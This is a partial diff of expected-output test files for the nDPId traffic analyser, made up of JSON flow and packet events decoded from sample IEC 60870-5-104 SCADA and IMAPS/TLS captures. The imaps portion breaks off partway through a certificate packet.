+00417{"flow_id":4,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":74,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992676,"pkt_ts_usec":579888,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABNy14eKABXFGNTMCABFAAAoQYpAAIAGcFGsG\/hPrBv4bQlkBiSd+ybkMVRtzlAQ\/9FJDwAA"} +00426{"flow_id":4,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":75,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992686,"pkt_ts_usec":414411,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"ABXFGNTMABNy14eKCABFAAAubiBAAIAGQ7WsG\/htrBv4TwYkCWQxVG3Onfsm5FAY\/\/OoCAAAGRkZGRkZ"} +00417{"flow_id":4,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":76,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992686,"pkt_ts_usec":533107,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABNy14eKABXFGNTMCABFAAAoQYtAAIAGcFCsG\/hPrBv4bQlkBiSd+ybkMVRt1FAQ\/8tJDwAA"} +00426{"flow_id":4,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":77,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992710,"pkt_ts_usec":190541,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"ABXFGNTMABNy14eKCABFAAAubiNAAIAGQ7KsG\/htrBv4TwYkCWQxVG3Unfsm5FAY\/\/NISQAAaARDAAAA"} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":88,"source":"iec60780-5-104.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1219992782348,"flow_last_seen":0,"flow_tot_l4_data_len":28,"flow_min_l4_data_len":28,"flow_max_l4_data_len":28,"flow_avg_l4_data_len":28,"midstream":0,"l3_proto":"ip4","src_ip":"172.27.248.109","dst_ip":"172.27.248.79","src_port":1577,"dst_port":2404,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00429{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":88,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992782,"pkt_ts_usec":348776,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ABXFGNTMABNy14eKCABFAAAwbjdAAIAGQ5ysG\/htrBv4TwYpCWQN1WRMAAAAAHAC\/\/+4fAAAAgQFtAEBBAI="} +00429{"flow_id":5,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":89,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992782,"pkt_ts_usec":348894,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ABNy14eKABXFGNTMCABFAAAwQZFAAIAGcEKsG\/hPrBv4bQlkBikE5Jl8DdVkTXAS\/\/8aCwAAAgQFtAEBBAI="} +00425{"flow_id":5,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":90,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992782,"pkt_ts_usec":349033,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABXFGNTMABNy14eKCABFAAAobjhAAIAGQ6OsG\/htrBv4TwYpCWQN1WRNBOSZfVAQ\/\/9GzwAAAAAAAAAA"} +00426{"flow_id":5,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":91,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992782,"pkt_ts_usec":350496,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"ABXFGNTMABNy14eKCABFAAAubjlAAIAGQ5ysG\/htrBv4TwYpCWQN1WRNBOSZfVAY\/\/\/XvAAAaAQHAAAA"} +00533{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":91,"source":"iec60780-5-104.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":4,"flow_first_seen":1219992782348,"flow_last_seen":1219992782350,"flow_tot_l4_data_len":102,"flow_min_l4_data_len":20,"flow_max_l4_data_len":28,"flow_avg_l4_data_len":25,"midstream":0,"l3_proto":"ip4","src_ip":"172.27.248.109","dst_ip":"172.27.248.79","src_port":1577,"dst_port":2404,"l4_proto":"tcp","ndpi": {"proto":"IEC60870","breed":"Acceptable","category":"IoT-Scada"}} +00425{"flow_id":5,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":92,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992782,"pkt_ts_usec":353159,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"ABNy14eKABXFGNTMCABFAAAuQZJAAIAGcEOsG\/hPrBv4bQlkBikE5Jl9DdVkU1AY\/\/lJFQAAaAQLAAAA"} +00425{"flow_id":5,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":93,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992782,"pkt_ts_usec":472527,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABXFGNTMABNy14eKCABFAAAobjpAAIAGQ6GsG\/htrBv4TwYpCWQN1WRTBOSZg1AQ\/\/lGyQAAAAAAAAAA"} +00441{"flow_id":5,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":94,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992804,"pkt_ts_usec":345282,"pkt_caplen":71,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":71,"pkt_l4_len":37,"pkt":"ABXFGNTMABNy14eKCABFAAA5bkBAAIAGQ4qsG\/htrBv4TwYpCWQN1WRTBOSZg1AY\/\/leQQAACgoKCgoKCgoKCmgIGhoaGho="} +00416{"flow_id":5,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":95,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992804,"pkt_ts_usec":549715,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABNy14eKABXFGNTMCABFAAAoQZNAAIAGcEisG\/hPrBv4bQlkBikE5JmDDdVkZFAQ\/+hJDwAA"} +00425{"flow_id":5,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":96,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992818,"pkt_ts_usec":952362,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":25,"pkt":"ABXFGNTMABNy14eKCABFAAAtbkFAAIAGQ5WsG\/htrBv4TwYpCWQN1WRkBOSZg1AY\/\/n4dgAAGhoaGhoA"} +00417{"flow_id":5,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":97,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992818,"pkt_ts_usec":954383,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABNy14eKABXFGNTMCABFAAAoQZRAAIAGcEesG\/hPrBv4bQlkBikE5JmDDdVkaVAR\/+NJDwAA"} +00426{"flow_id":5,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":98,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992818,"pkt_ts_usec":954548,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABXFGNTMABNy14eKCABFAAAobkJAAIAGQ5msG\/htrBv4TwYpCWQN1WRpBOSZhFAQ\/\/lGsgAAAAAAAAAA"} +00426{"flow_id":5,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":99,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992818,"pkt_ts_usec":955088,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABXFGNTMABNy14eKCABFAAAobkNAAIAGQ5isG\/htrBv4TwYpCWQN1WRpBOSZhFAR\/\/lGsQAAAAAAAAAA"} +00418{"flow_id":5,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":100,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992818,"pkt_ts_usec":955112,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABNy14eKABXFGNTMCABFAAAoQZVAAIAGcEasG\/hPrBv4bQlkBikE5JmEDdVkalAQ\/+NJDwAA"} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":101,"source":"iec60780-5-104.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1219992819942,"flow_last_seen":0,"flow_tot_l4_data_len":28,"flow_min_l4_data_len":28,"flow_max_l4_data_len":28,"flow_avg_l4_data_len":28,"midstream":0,"l3_proto":"ip4","src_ip":"172.27.248.109","dst_ip":"172.27.248.79","src_port":1578,"dst_port":2404,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00431{"flow_id":6,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":101,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992819,"pkt_ts_usec":942883,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ABXFGNTMABNy14eKCABFAAAwbkRAAIAGQ4+sG\/htrBv4TwYqCWRBsBqPAAAAAHAC\/\/\/OXQAAAgQFtAEBBAI="} +00432{"flow_id":6,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":102,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992819,"pkt_ts_usec":943016,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ABNy14eKABXFGNTMCABFAAAwQZZAAIAGcD2sG\/hPrBv4bQlkBir5wu6KQbAakHAS\/\/\/l\/gAAAgQFtAEBBAI="} +00426{"flow_id":6,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":103,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992819,"pkt_ts_usec":943166,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABXFGNTMABNy14eKCABFAAAobkVAAIAGQ5asG\/htrBv4TwYqCWRBsBqQ+cLui1AQ\/\/8SwwAAAAAAAAAA"} +00426{"flow_id":6,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":104,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992819,"pkt_ts_usec":944348,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"ABXFGNTMABNy14eKCABFAAAubkZAAIAGQ4+sG\/htrBv4TwYqCWRBsBqQ+cLui1AY\/\/+jsAAAaAQHAAAA"} +00534{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":104,"source":"iec60780-5-104.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":4,"flow_first_seen":1219992819942,"flow_last_seen":1219992819944,"flow_tot_l4_data_len":102,"flow_min_l4_data_len":20,"flow_max_l4_data_len":28,"flow_avg_l4_data_len":25,"midstream":0,"l3_proto":"ip4","src_ip":"172.27.248.109","dst_ip":"172.27.248.79","src_port":1578,"dst_port":2404,"l4_proto":"tcp","ndpi": {"proto":"IEC60870","breed":"Acceptable","category":"IoT-Scada"}} +00426{"flow_id":6,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":105,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992819,"pkt_ts_usec":947305,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"ABNy14eKABXFGNTMCABFAAAuQZdAAIAGcD6sG\/hPrBv4bQlkBir5wu6LQbAallAY\/\/lJFQAAaAQLAAAA"} +00425{"flow_id":6,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":106,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992820,"pkt_ts_usec":98246,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABXFGNTMABNy14eKCABFAAAobkdAAIAGQ5SsG\/htrBv4TwYqCWRBsBqW+cLukVAQ\/\/kSvQAAAAAAAAAA"} +00497{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":107,"source":"iec60780-5-104.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":25,"flow_first_seen":1219992590188,"flow_last_seen":1219992781349,"flow_tot_l4_data_len":626,"flow_min_l4_data_len":20,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":25,"midstream":0,"l3_proto":"ip4","src_ip":"172.27.248.109","dst_ip":"172.27.248.79","src_port":1572,"dst_port":2404,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":6,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":107,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992852,"pkt_ts_usec":463357,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"ABNy14eKABXFGNTMCABFAAA4QaNAAIAGcCisG\/hPrBv4bQlkBir5wu6RQbAallAY\/\/lJHwAAaA4AAAAARgEEAA2RAAAAAA=="} +00425{"flow_id":6,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":108,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992852,"pkt_ts_usec":583255,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABXFGNTMABNy14eKCABFAAAobk5AAIAGQ42sG\/htrBv4TwYqCWRBsBqW+cLuoVAQ\/+kSvQAAAAAAAAAA"} +00441{"flow_id":6,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":109,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992869,"pkt_ts_usec":912275,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"ABXFGNTMABNy14eKCABFAAA4blFAAIAGQ3qsG\/htrBv4TwYqCWRBsBqW+cLuoVAY\/+kw8AAAaA4AAAIAZAEGAA2RAAAAFA=="} +00509{"flow_id":6,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":110,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992869,"pkt_ts_usec":925976,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"ABNy14eKABXFGNTMCABFAABoQaRAAIAGb\/esG\/hPrBv4bQlkBir5wu6hQbAaplAY\/+lJTwAAaAQBAAIAaA4CAAIAZAEHAA2RAAAAFGgWBAACAAGJFAANkRonANCAgIDAgICAgGgQBgACAAODFAANkSpOAICAgA=="} +00425{"flow_id":6,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":111,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992870,"pkt_ts_usec":83498,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABXFGNTMABNy14eKCABFAAAoblJAAIAGQ4msG\/htrBv4TwYqCWRBsBqm+cLu4VAQ\/6kSrQAAAAAAAAAA"} +00497{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":112,"source":"iec60780-5-104.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":13,"flow_first_seen":1219992782348,"flow_last_seen":1219992818955,"flow_tot_l4_data_len":310,"flow_min_l4_data_len":20,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":23,"midstream":0,"l3_proto":"ip4","src_ip":"172.27.248.109","dst_ip":"172.27.248.79","src_port":1577,"dst_port":2404,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00426{"flow_id":6,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":112,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992889,"pkt_ts_usec":928069,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"ABXFGNTMABNy14eKCABFAAAubldAAIAGQ36sG\/htrBv4TwYqCWRBsBqm+cLu4VAY\/6mhmgAAaAQBAAgA"} +00442{"flow_id":6,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":113,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992889,"pkt_ts_usec":959139,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"ABNy14eKABXFGNTMCABFAAA4Qa9AAIAGcBysG\/hPrBv4bQlkBir5wu7hQbAarFAY\/+NJHwAAaA4IAAIAZAEKAA2RAAAAFA=="} +00425{"flow_id":6,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":114,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992890,"pkt_ts_usec":99579,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABXFGNTMABNy14eKCABFAAAoblhAAIAGQ4OsG\/htrBv4TwYqCWRBsBqs+cLu8VAQ\/5kSpwAAAAAAAAAA"} +00426{"flow_id":6,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":115,"source":"iec60780-5-104.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1219992909,"pkt_ts_usec":959873,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"ABXFGNTMABNy14eKCABFAAAublxAAIAGQ3msG\/htrBv4TwYqCWRBsBqs+cLu8VAY\/5mflAAAaAQBAAoA"} diff --git a/test/results/imaps.pcap.out b/test/results/imaps.pcap.out new file mode 100644 index 000000000..757d41fa1 --- /dev/null +++ b/test/results/imaps.pcap.out @@ -0,0 +1,19 @@ +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"imaps.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1590857744659,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.8","dst_ip":"167.99.215.164","src_port":50506,"dst_port":993,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"imaps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1590857744,"pkt_ts_usec":659641,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAG+f\/AqAEIp2PXpMVKA+HRNM\/NAAAAALAC\/\/\/ajwAAAgQFtAEDAwUBAQgKFE2dOQAAAAAEAgAA"} +00433{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"imaps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1590857744,"pkt_ts_usec":706356,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8AABAADQGBgSnY9ekwKgBCAPhxUrMi6La0TTPzqAS\/ojr6QAAAgQFrAQCCAqpw+fsFE2dOQEDAwc="} +00421{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"imaps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1590857744,"pkt_ts_usec":706435,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG+gvAqAEIp2PXpMVKA+HRNM\/OzIui24AQECwI4wAAAQEIChRNnWGpw+fs"} +00730{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"imaps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1590857744,"pkt_ts_usec":710196,"pkt_caplen":293,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":293,"pkt_l4_len":259,"pkt":"EBMx8Tl2KDc3AG3ICABFAAEXAABAAEAG+SjAqAEIp2PXpMVKA+HRNM\/OzIui24AYECzQ0gAAAQEIChRNnWSpw+fsFgMBAN4BAADaAwNe0pAQoUxdbqNEmHqACTYoEy7RbC2uNC4pbnZPkmPkMyAkUBxuKNil5bUhgr6oHofj7e9MtyuIV+orRKnjfI7R5wBCAP\/ALMArwCTAI8AKwAnACMAwwC\/AKMAnwBTAE8ASAJ8AngBrAGcAOQAzABYAnQCcAD0APAA1AC8ACsAHwBEABQAEAQAATwAAABIAEAAADW1haWwubnRvcC5vcmcACgAIAAYAFwAYABkACwACAQAADQASABAEAQIBBQEGAQQDAgMFAwYDAAUABQEAAAAAABIAAAAXAAA="} +00750{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":4,"source":"imaps.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":4,"flow_first_seen":1590857744659,"flow_last_seen":1590857744710,"flow_tot_l4_data_len":375,"flow_min_l4_data_len":32,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":93,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.8","dst_ip":"167.99.215.164","src_port":50506,"dst_port":993,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.ntop","breed":"Safe","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"mail.ntop.org","ja3":"4923a265be4d81c68ecda45bb89cdf6a","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00420{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"imaps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1590857744,"pkt_ts_usec":749621,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0NrtAADQGz1CnY9ekwKgBCAPhxUrMi6Lb0TTQsYAQAfwWAAAAAQEICqnD6BkUTZ1k"} +02369{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"imaps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1590857744,"pkt_ts_usec":765146,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUNrxAADQGya+nY9ekwKgBCAPhxUrMi6Lb0TTQsYAQAfxVqgAAAQEICqnD6CcUTZ1kFgMDAGECAABdAwOfgrSA6WjX0\/3bgxe9pFUcnFyG\/QenpshET1dOR1JEASA5G93X3lHFcXr52PvowLj3FwYD9ZOIEetGhRTXZsZEOMAwAAAV\/wEAAQAAAAAAAAsABAMAAQIAFwAAFgMDCfkLAAn1AAnyAAVWMIIFUjCCBDqgAwIBAgISA58oybaH2TVaChA3pSw\/RaD7MA0GCSqGSIb3DQEBCwUAMEoxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MSMwIQYDVQQDExpMZXQncyBFbmNyeXB0IEF1dGhvcml0eSBYMzAeFw0yMDA0MTgwMDE1MjJaFw0yMDA3MTcwMDE1MjJaMBgxFjAUBgNVBAMTDW1haWwubnRvcC5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCn2jXTiVzhDTMembY0AutsY35QPHczcjlfxiBJF85Fc8A5Uc30Ug5Moh81voxNc8JZjkpGlaxEUQr2Gc\/LeK4eJKauFOGO9VnIPUhJn4H1h\/ipfPxSrjLcotoDsDbn8k43xBepg1Oi0\/L6jNBKRbhpvlk5XauhFsHxRpTocc3fegaxc4QJcAR4hScnmBBDQobZZEivtlIfO6aPRENmSl3w07AUmEBpiAkLD+lmIk16RExNrx+wttAcmcWIlxrB03rAX9ZYoSLUfp2nx+6+ks8hY7PUy221Z2REZAzhk0KJ8a59JeFZqsMq9ceOIHF8cnU23Yq\/irrgrOZ\/KnG8j3\/\/AgMBAAGjggJiMIICXjAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB\/wQCMAAwHQYDVR0OBBYEFN1D7LKLRQaQaEerADcaze6\/SEI7MB8GA1UdIwQYMBaAFKhKamMEfd265tE5t6ZFZe\/zqOyhMG8GCCsGAQUFBwEBBGMwYTAuBggrBgEFBQcwAYYiaHR0cDovL29jc3AuaW50LXgzLmxldHNlbmNyeXB0Lm9yZzAvBggrBgEFBQcwAoYjaHR0cDovL2NlcnQuaW50LXgzLmxldHNlbmNyeXB0Lm9yZy8wGAYDVR0RBBEwD4INbWFpbC5udG9wLm9yZzBMBgNVHSAERTBDMAgGBmeBDAECATA3BgsrBgEEAYLfEwEBATAoMCYGCCsGAQUFBwIBFhpodHRwOi8vY3BzLmxldHNlbmNyeXB0Lm9yZzCCAQQGCisGAQQB1nkCBAIEgfUEgfIA8AB1AAe3XBvlfWj\/8bDGHSM